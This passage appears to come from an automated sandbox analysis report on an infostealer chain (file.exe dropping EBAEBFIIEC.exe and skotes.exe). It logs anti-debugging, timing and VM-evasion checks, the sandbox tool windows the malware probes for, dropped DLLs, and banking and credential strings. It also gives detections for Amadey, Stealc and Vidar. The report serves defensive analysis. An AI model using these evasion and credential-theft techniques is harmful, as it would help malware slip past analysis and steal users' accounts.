Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 101823A second address: 1018244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1018244 second address: 1018248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBE013 second address: FBE034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BDFh 0x00000007 jg 00007F6970DB3BD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBE034 second address: FBE06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970D85C28h 0x00000009 popad 0x0000000a jmp 00007F6970D85C29h 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBE06A second address: FBE074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F6970DB3BD6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBE074 second address: FBE07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBE07E second address: FBE082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBE082 second address: FBE086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1017A12 second address: 1017A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100E4DF second address: 100E4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100F5B2 second address: 100F5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6970DB3BE9h 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1017DD1 second address: 1017DD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 101E4B7 second address: 101E4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1023C41 second address: 1023C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F6970D85C16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6970D85C23h 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1023C64 second address: 1023C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F6970DB3BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1023C70 second address: 1023C75 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1023DAE second address: 1023DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1023DB7 second address: 1023DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1023DBD second address: 1023DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d jmp 00007F6970DB3BE6h 0x00000012 pushad 0x00000013 jmp 00007F6970DB3BE5h 0x00000018 jg 00007F6970DB3BD6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1024212 second address: 1024218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1024218 second address: 1024234 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1024234 second address: 1024238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1024238 second address: 1024242 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10243BA second address: 10243C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6970D85C16h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10243C5 second address: 10243CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 47FD53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 62D3DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 62D805 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 65091C instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: E4EA09 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: FEC955 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: 1014F34 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: FF6477 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: 1072E1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 92EA09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ACC955 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AF4F34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AD6477 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B52E1E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Code function: 19_2_05040C91 rdtsc

19_2_05040C91

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 1196	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1648	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1648	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7240	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2012	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2012	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3172	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3172	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2064	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2064	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1424	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1424	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3696	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3696	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CE4EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

5_2_6CE4EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000017.00000002.1973210164.0000000000AAC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2529341033.0000000000AAC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: FIJECAEH.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: FIJECAEH.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: FIJECAEH.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000005.00000002.1886282629.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1886282629.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2531093363.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2531093363.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2531093363.0000000000C38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: FIJECAEH.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: FIJECAEH.5.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000005.00000002.1882889990.0000000000231000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000005.00000002.1882889990.0000000000231000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: MSHN6QKQEMU
Source: FIJECAEH.5.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: FIJECAEH.5.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: FIJECAEH.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: FIJECAEH.5.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: FIJECAEH.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: FIJECAEH.5.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FIJECAEH.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: FIJECAEH.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: FIJECAEH.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000005.00000002.1884948648.000000000060D000.00000040.00000001.01000000.00000004.sdmp, EBAEBFIIEC.exe, 00000013.00000002.1920457115.0000000000FCC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.1965455396.0000000000AAC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.1973210164.0000000000AAC000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2529341033.0000000000AAC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FIJECAEH.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: FIJECAEH.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: FIJECAEH.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: FIJECAEH.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Code function: 19_2_05040285 Start: 0504051A End: 05040332

19_2_05040285

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Code function: 19_2_05040C91 rdtsc

19_2_05040C91

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CF1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_6CF1AC62

Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E1652B mov eax, dword ptr fs:[00000030h]	19_2_00E1652B
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 19_2_00E1A302 mov eax, dword ptr fs:[00000030h]	19_2_00E1A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_008FA302 mov eax, dword ptr fs:[00000030h]	22_2_008FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_008F652B mov eax, dword ptr fs:[00000030h]	22_2_008F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008FA302 mov eax, dword ptr fs:[00000030h]	23_2_008FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008F652B mov eax, dword ptr fs:[00000030h]	23_2_008F652B

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CF1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_6CF1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBAEBFIIEC.exe "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CF64760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

5_2_6CF64760

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CE41C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

5_2_6CE41C30

Source: file.exe, file.exe, 00000005.00000002.1885361954.000000000064E000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000017.00000002.1973495407.0000000000AF2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2529904086.0000000000AF2000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #NProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CF1AE71 cpuid

5_2_6CF1AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CF1A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_6CF1A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_6CE68390 NSS_GetVersion,

5_2_6CE68390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.EBAEBFIIEC.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.8c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2528327804.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1972888927.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1917955793.0000000000DE1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1965098690.00000000008C1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 5.2.file.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1882889990.0000000000231000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1886282629.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

